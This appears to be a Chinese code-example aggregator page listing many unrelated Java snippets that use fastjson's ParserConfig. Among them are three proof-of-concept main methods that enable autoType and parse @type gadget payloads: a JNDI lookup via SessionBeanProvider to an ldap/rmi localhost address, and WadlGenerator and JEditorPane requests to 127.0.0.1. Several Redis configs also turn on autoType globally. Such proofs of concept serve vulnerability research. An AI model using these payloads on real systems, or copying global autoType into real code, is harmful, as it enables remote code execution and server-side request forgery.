下面列出了com.alibaba.fastjson.serializer.PropertyFilter#com.alibaba.fastjson.parser.ParserConfig 实例代码,或者点击链接到github查看源代码,也可以在右侧发表评论。
/**
* 自定义管道的处理方法
*
* @param resultItems 自定义Processor处理完后的所有参数
* @param virtualArticles 爬虫文章集合
*/
final void process(ResultItems resultItems, List<VirtualArticle> virtualArticles, Hunter spider) {
if (null == spider) {
return;
}
Map<String, Object> map = resultItems.getAll();
if (CollectionUtil.isEmpty(map)) {
return;
}
String title = String.valueOf(map.get("title"));
ParserConfig jcParserConfig = new ParserConfig();
jcParserConfig.putDeserializer(Date.class, HunterDateDeserializer.instance);
VirtualArticle virtualArticle = JSON.parseObject(JSON.toJSONString(map), VirtualArticle.class, jcParserConfig, JSON.DEFAULT_PARSER_FEATURE);
virtualArticle.setDescription(CommonUtil.getRealDescription(virtualArticle.getDescription(), virtualArticle.getContent()))
.setKeywords(CommonUtil.getRealKeywords(virtualArticle.getKeywords()));
if (this.config.isConvertImg()) {
virtualArticle.setContent(CommonUtil.formatHtml(virtualArticle.getContent()));
virtualArticle.setImageLinks(CommonUtil.getAllImageLink(virtualArticle.getContent()));
}
if (CollectionUtils.isEmpty(virtualArticle.getTags())) {
virtualArticle.setTags(Collections.singletonList("其他"));
}
virtualArticles.add(virtualArticle);
writer.print(String.format("<a href=\"%s\" target=\"_blank\">%s</a> -- %s -- %s", virtualArticle.getSource(), title, virtualArticle.getAuthor(), virtualArticle.getReleaseDate()));
}
public static List<Object> parseArray(String text, Type[] types) {
if (text == null) {
return null;
}
List<Object> list;
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance());
Object[] objectArray = parser.parseArray(types);
if (objectArray == null) {
list = null;
} else {
list = Arrays.asList(objectArray);
}
parser.handleResovleTask(list);
parser.close();
return list;
}
public static void main(String[] args) {
//TODO 使用rmi server模式时,jdk版本高的需要开启URLCodebase trust
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
ParserConfig.global.setAutoTypeSupport(true);
// String payload = "{\"@type\":\"org.apache.commons.proxy.provider.remoting.SessionBeanProvider\",\"jndiName\":\"rmi://localhost:43657/Calc\"}";
String payload = "{\"@type\":\"org.apache.commons.proxy.provider.remoting.SessionBeanProvider\",\"jndiName\":\"ldap://localhost:43658/Calc\",\"Object\":\"a\"}";
try {
JSON.parseObject(payload);
} catch (Exception e) {
e.printStackTrace();
}
JSON.parseObject(payload);
}
@SuppressWarnings("unchecked")
public static <T> T parseObject(char[] input, int length, Type clazz, Feature... features) {
if (input == null || input.length == 0) {
return null;
}
int featureValues = DEFAULT_PARSER_FEATURE;
for (Feature feature : features) {
featureValues = Feature.config(featureValues, feature, true);
}
DefaultJSONParser parser = new DefaultJSONParser(input, length, ParserConfig.getGlobalInstance(), featureValues);
T value = (T) parser.parseObject(clazz);
parser.handleResovleTask(value);
parser.close();
return (T) value;
}
@SuppressWarnings("all")
@Bean(name = "redisTemplate")
@ConditionalOnMissingBean(name = "redisTemplate")
public RedisTemplate<Object, Object> redisTemplate(RedisConnectionFactory redisConnectionFactory) {
RedisTemplate<Object, Object> template = new RedisTemplate<>();
//序列化
FastJsonRedisSerializer<Object> fastJsonRedisSerializer = new FastJsonRedisSerializer<>(Object.class);
// value值的序列化采用fastJsonRedisSerializer
template.setValueSerializer(fastJsonRedisSerializer);
template.setHashValueSerializer(fastJsonRedisSerializer);
// 全局开启AutoType,这里方便开发,使用全局的方式
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 建议使用这种方式,小范围指定白名单
// ParserConfig.getGlobalInstance().addAccept("me.zhengjie.domain");
// key的序列化采用StringRedisSerializer
template.setKeySerializer(new StringRedisSerializer());
template.setHashKeySerializer(new StringRedisSerializer());
template.setConnectionFactory(redisConnectionFactory);
return template;
}
/**
* register fastjson serializer deserializer class info
*/
public void init() {
SerializeConfig.getGlobalInstance().getObjectWriter(NodeVo.class);
SerializeConfig.getGlobalInstance().getObjectWriter(FlowRule.class);
SerializeConfig.getGlobalInstance().getObjectWriter(SystemRule.class);
SerializeConfig.getGlobalInstance().getObjectWriter(DegradeRule.class);
SerializeConfig.getGlobalInstance().getObjectWriter(AuthorityRule.class);
SerializeConfig.getGlobalInstance().getObjectWriter(ParamFlowRule.class);
ParserConfig.getGlobalInstance().getDeserializer(NodeVo.class);
ParserConfig.getGlobalInstance().getDeserializer(FlowRule.class);
ParserConfig.getGlobalInstance().getDeserializer(SystemRule.class);
ParserConfig.getGlobalInstance().getDeserializer(DegradeRule.class);
ParserConfig.getGlobalInstance().getDeserializer(AuthorityRule.class);
ParserConfig.getGlobalInstance().getDeserializer(ParamFlowRule.class);
}
/**
* 解决注解方式存放到redis中的值是乱码的情况
* @param factory 连接工厂
* @return CacheManager
*/
@Bean
public CacheManager cacheManager(RedisConnectionFactory factory) {
RedisSerializer<String> redisSerializer = new StringRedisSerializer();
FastJsonRedisSerializer<Object> fastJsonRedisSerializer = new FastJsonRedisSerializer<>(Object.class);
// 配置注解方式的序列化
RedisCacheConfiguration config = RedisCacheConfiguration.defaultCacheConfig();
RedisCacheConfiguration redisCacheConfiguration =
config.serializeKeysWith(RedisSerializationContext.SerializationPair.fromSerializer(redisSerializer))
.serializeValuesWith(RedisSerializationContext.SerializationPair.fromSerializer(fastJsonRedisSerializer))
//配置注解默认的过期时间
.entryTtl(Duration.ofDays(1));
// 加入白名单 https://github.com/alibaba/fastjson/wiki/enable_autotype
ParserConfig.getGlobalInstance().addAccept("com.ywh");
ParserConfig.getGlobalInstance().addAccept("com.baomidou");
return RedisCacheManager.builder(factory).cacheDefaults(redisCacheConfiguration).build();
}
/**
* wzy扩展
*
* @param input
* @param value
* @param config
* @param processor
* @param featureValues
* @param features
*/
private static void reflectObject(String input, Object value, ParserConfig config, ParseProcess processor,
int featureValues, Feature... features) {
if (input == null) {
return;
}
for (Feature featrue : features) {
featureValues = Feature.config(featureValues, featrue, true);
}
DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);
if (processor instanceof ExtraTypeProvider) {
parser.getExtraTypeProviders().add((ExtraTypeProvider) processor);
}
if (processor instanceof ExtraProcessor) {
parser.getExtraProcessors().add((ExtraProcessor) processor);
}
parser.parseObject(value);
parser.handleResovleTask(value);
parser.close();
}
@SuppressWarnings("unchecked")
public static <T> T cast(Object obj, Type type, ParserConfig mapping){
if(obj == null){
return null;
}
if(type instanceof Class){
return (T) cast(obj, (Class<T>) type, mapping);
}
if(type instanceof ParameterizedType){
return (T) cast(obj, (ParameterizedType) type, mapping);
}
if(obj instanceof String){
String strVal = (String) obj;
if(strVal.length() == 0 //
|| "null".equals(strVal) //
|| "NULL".equals(strVal)){
return null;
}
}
if(type instanceof TypeVariable){
return (T) obj;
}
throw new JSONException("can not cast to : " + type);
}
protected JavaBeanDeserializer getSeeAlso(ParserConfig config, JavaBeanInfo beanInfo, String typeName) {
if (beanInfo.jsonType == null) {
return null;
}
for (Class<?> seeAlsoClass : beanInfo.jsonType.seeAlso()) {
ObjectDeserializer seeAlsoDeser = config.getDeserializer(seeAlsoClass);
if (seeAlsoDeser instanceof JavaBeanDeserializer) {
JavaBeanDeserializer seeAlsoJavaBeanDeser = (JavaBeanDeserializer) seeAlsoDeser;
JavaBeanInfo subBeanInfo = seeAlsoJavaBeanDeser.beanInfo;
if (subBeanInfo.typeName.equals(typeName)) {
return seeAlsoJavaBeanDeser;
}
JavaBeanDeserializer subSeeAlso = getSeeAlso(config, subBeanInfo, typeName);
if (subSeeAlso != null) {
return subSeeAlso;
}
}
}
return null;
}
private void _getCollectionFieldItemDeser(Context context, MethodVisitor mw, FieldInfo fieldInfo,
Class<?> itemType) {
Label notNull_ = new Label();
mw.visitVarInsn(ALOAD, 0);
mw.visitFieldInsn(GETFIELD, context.className, fieldInfo.name + "_asm_list_item_deser__",
desc(ObjectDeserializer.class));
mw.visitJumpInsn(IFNONNULL, notNull_);
mw.visitVarInsn(ALOAD, 0);
mw.visitVarInsn(ALOAD, 1);
mw.visitMethodInsn(INVOKEVIRTUAL, DefaultJSONParser, "getConfig", "()" + desc(ParserConfig.class));
mw.visitLdcInsn(com.alibaba.fastjson.asm.Type.getType(desc(itemType)));
mw.visitMethodInsn(INVOKEVIRTUAL, type(ParserConfig.class), "getDeserializer",
"(Ljava/lang/reflect/Type;)" + desc(ObjectDeserializer.class));
mw.visitFieldInsn(PUTFIELD, context.className, fieldInfo.name + "_asm_list_item_deser__",
desc(ObjectDeserializer.class));
mw.visitLabel(notNull_);
mw.visitVarInsn(ALOAD, 0);
mw.visitFieldInsn(GETFIELD, context.className, fieldInfo.name + "_asm_list_item_deser__",
desc(ObjectDeserializer.class));
}
private void _getFieldDeser(Context context, MethodVisitor mw, FieldInfo fieldInfo) {
Label notNull_ = new Label();
mw.visitVarInsn(ALOAD, 0);
mw.visitFieldInsn(GETFIELD, context.className, fieldInfo.name + "_asm_deser__", desc(ObjectDeserializer.class));
mw.visitJumpInsn(IFNONNULL, notNull_);
mw.visitVarInsn(ALOAD, 0);
mw.visitVarInsn(ALOAD, 1);
mw.visitMethodInsn(INVOKEVIRTUAL, DefaultJSONParser, "getConfig", "()" + desc(ParserConfig.class));
mw.visitLdcInsn(com.alibaba.fastjson.asm.Type.getType(desc(fieldInfo.fieldClass)));
mw.visitMethodInsn(INVOKEVIRTUAL, type(ParserConfig.class), "getDeserializer",
"(Ljava/lang/reflect/Type;)" + desc(ObjectDeserializer.class));
mw.visitFieldInsn(PUTFIELD, context.className, fieldInfo.name + "_asm_deser__", desc(ObjectDeserializer.class));
mw.visitLabel(notNull_);
mw.visitVarInsn(ALOAD, 0);
mw.visitFieldInsn(GETFIELD, context.className, fieldInfo.name + "_asm_deser__", desc(ObjectDeserializer.class));
}
private void handleForDeserializer(final ObjectDeserializer deserializer, Class targetType) {
ClassNode node = repo.node(targetType.getName());
if (null == node) {
warn("Unknown target type: " + targetType.getName());
return;
}
final ParserConfig config = ParserConfig.getGlobalInstance();
node.visitSubTree(new Lang.Visitor<ClassNode>() {
@Override
public void visit(ClassNode classNode) throws Lang.Break {
Class type = app.classForName(classNode.name());
config.putDeserializer(type, deserializer);
}
});
config.putDeserializer(targetType, deserializer);
}
private void readObject(final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
SecureObjectInputStream.ensureFields();
if (SecureObjectInputStream.fields != null && !SecureObjectInputStream.fields_error) {
ObjectInputStream secIn = new SecureObjectInputStream(in);
try {
secIn.defaultReadObject();
return;
} catch (java.io.NotActiveException e) {
// skip
}
}
in.defaultReadObject();
for (Entry entry : map.entrySet()) {
final Object key = entry.getKey();
if (key != null) {
ParserConfig.global.checkAutoType(key.getClass().getName(), null);
}
final Object value = entry.getValue();
if (value != null) {
ParserConfig.global.checkAutoType(value.getClass().getName(), null);
}
}
}
private void readObject(final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
JSONObject.SecureObjectInputStream.ensureFields();
if (JSONObject.SecureObjectInputStream.fields != null && !JSONObject.SecureObjectInputStream.fields_error) {
ObjectInputStream secIn = new JSONObject.SecureObjectInputStream(in);
try {
secIn.defaultReadObject();
return;
} catch (java.io.NotActiveException e) {
// skip
}
}
in.defaultReadObject();
for (Object item : list) {
if (item != null) {
ParserConfig.global.checkAutoType(item.getClass().getName(), null);
}
}
}
FastJsonResponseBodyConverter(Type type, ParserConfig config,
int featureValues,
Feature... features) {
mType = type;
this.config = config;
this.featureValues = featureValues;
this.features = features;
}
/**
* 转换值为指定类型
*
* @param <T> 泛型
* @param value 被转换的值
* @param clazz 泛型类型
* @return 转换后的对象
*/
@SuppressWarnings("unchecked")
public static <T> T toObject(Object value, Class<T> clazz) {
// 不用转换
if (value != null && clazz != null && (clazz == value.getClass() || clazz.isInstance(value))) {
return (T) value;
}
// JDK8日期时间转换
if (value != null && value instanceof String) {
String str = (String) value;
if (clazz == LocalDate.class) {
return (T) LocalDate.parse(str);
} else if (clazz == LocalDateTime.class) {
return (T) LocalDateTime.parse(str);
}
}
// JSONObject转换
if (clazz == JSONObject.class) {
return (T) toJSONObject(value);
}
// JSONArray转换
if (clazz == JSONArray.class) {
return (T) toJSONArray(value);
}
// 采用 fastjson 转换
try {
return cast(value, clazz, ParserConfig.getGlobalInstance());
} catch (Exception e) {
ExceptionUtils.printException(e);
log.warn("【Convert】采用 fastjson 类型转换器转换失败,正尝试 hutool 类型转换器转换。");
}
// 采用 hutool 转换
return cn.hutool.core.convert.Convert.convert(clazz, value);
}
/**
* 构造反序列化配置
*
* @return
*/
protected JsonConfig createParserConfig() {
JsonConfig config = new JsonConfig(BLACK_LIST);
config.setSafeMode(VARIABLE.getBoolean(ParserConfig.SAFE_MODE_PROPERTY, true));
config.putDeserializer(MonthDay.class, MonthDaySerialization.INSTANCE);
config.putDeserializer(YearMonth.class, YearMonthSerialization.INSTANCE);
config.putDeserializer(Year.class, YearSerialization.INSTANCE);
config.putDeserializer(ZoneOffset.class, ZoneOffsetSerialization.INSTANCE);
config.putDeserializer(ZoneId.class, ZoneIdSerialization.INSTANCE);
config.putDeserializer(ZoneId.systemDefault().getClass(), ZoneIdSerialization.INSTANCE);
config.putDeserializer(Invocation.class, InvocationCodec.INSTANCE);
config.putDeserializer(ResponsePayload.class, ResponsePayloadCodec.INSTANCE);
return config;
}
/**
* @since 1.2.51
* @param json
* @param path
* @return
*/
public static Object extract(String json, String path, ParserConfig config, int features, Feature... optionFeatures) {
features |= Feature.OrderedField.mask;
DefaultJSONParser parser = new DefaultJSONParser(json, config, features);
JSONPath jsonPath = compile(path);
Object result = jsonPath.extract(parser);
parser.lexer.close();
return result;
}
/**
* @since 1.2.51
* @param json
* @param path
* @return
*/
public static Object extract(String json, String path, ParserConfig config, int features, Feature... optionFeatures) {
features |= Feature.OrderedField.mask;
DefaultJSONParser parser = new DefaultJSONParser(json, config, features);
JSONPath jsonPath = compile(path);
Object result = jsonPath.extract(parser);
parser.lexer.close();
return result;
}
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.cxf.jaxrs.model.wadl.WadlGenerator\",\"schemaLocations\": \"http://127.0.0.1:23234?a=1&b=22222\"}";
try {
JSON.parse(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"javax.swing.JEditorPane\",\"page\": \"http://127.0.0.1:23234?a=1&b=22222\"}";
try {
JSON.parse(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
public static <T extends AVObject> void registerClass(Class<T> clazz) {
AVClassName avClassName = clazz.getAnnotation(AVClassName.class);
if (avClassName == null) {
throw new IllegalArgumentException("The class is not annotated by @AVClassName");
}
String className = avClassName.value();
checkClassName(className);
subClassesMAP.put(className, clazz);
subClassesReverseMAP.put(clazz, className);
// register object serializer/deserializer.
ParserConfig.getGlobalInstance().putDeserializer(clazz, new ObjectTypeAdapter());
SerializeConfig.getGlobalInstance().put(clazz, new ObjectTypeAdapter());
}
FastJsonResponseBodyConverter(Type type, ParserConfig config, int featureValues,
Feature... features) {
mType = type;
this.config = config;
this.featureValues = featureValues;
this.features = features;
}
/**
*
* @since 1.2.38
*/
public static Object parse(String text, ParserConfig config, int features) {
if (text == null) {
return null;
}
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
@Override
public void initialize() {
ParserConfig.getGlobalInstance().setAutoTypeSupport( true );
ParserConfig.getGlobalInstance().addAccept( CommonConfig.getString( "spring.redis.package" ) );
int idx = CommonConfig.getInteger( "spring.redis.database", 0 );
database( idx );
}
/**
* config default type key
* @since 1.2.14
*/
public static void setDefaultTypeKey(String typeKey) {
DEFAULT_TYPE_KEY = typeKey;
ParserConfig.global.symbolTable.addSymbol(typeKey,
0,
typeKey.length(),
typeKey.hashCode(), true);
}
public DefaultFieldDeserializer(ParserConfig config, Class<?> clazz, FieldInfo fieldInfo){
super(clazz, fieldInfo);
JSONField annotation = fieldInfo.getAnnotation();
if (annotation != null) {
Class<?> deserializeUsing = annotation.deserializeUsing();
customDeserilizer = deserializeUsing != null && deserializeUsing != Void.class;
}
}
public ObjectDeserializer createJavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo) throws Exception {
Class<?> clazz = beanInfo.clazz;
if (clazz.isPrimitive()) {
throw new IllegalArgumentException("not support type :" + clazz.getName());
}
String className = "FastjsonASMDeserializer_" + seed.incrementAndGet() + "_" + clazz.getSimpleName();
String classNameType;
String classNameFull;
Package pkg = ASMDeserializerFactory.class.getPackage();
if (pkg != null) {
String packageName = pkg.getName();
classNameType = packageName.replace('.', '/') + "/" + className;
classNameFull = packageName + "." + className;
} else {
classNameType = className;
classNameFull = className;
}
ClassWriter cw = new ClassWriter();
cw.visit(V1_5, ACC_PUBLIC + ACC_SUPER, classNameType, type(JavaBeanDeserializer.class), null);
_init(cw, new Context(classNameType, config, beanInfo, 3));
_createInstance(cw, new Context(classNameType, config, beanInfo, 3));
_deserialze(cw, new Context(classNameType, config, beanInfo, 5));
_deserialzeArrayMapping(cw, new Context(classNameType, config, beanInfo, 4));
byte[] code = cw.toByteArray();
Class<?> deserClass = classLoader.defineClassPublic(classNameFull, code, 0, code.length);
Constructor<?> constructor = deserClass.getConstructor(ParserConfig.class, JavaBeanInfo.class);
Object instance = constructor.newInstance(config, beanInfo);
return (ObjectDeserializer) instance;
}
public Context(String className, ParserConfig config, JavaBeanInfo beanInfo, int initVariantIndex){
this.className = className;
this.clazz = beanInfo.clazz;
this.variantIndex = initVariantIndex;
this.beanInfo = beanInfo;
fieldInfoList = beanInfo.fields;
}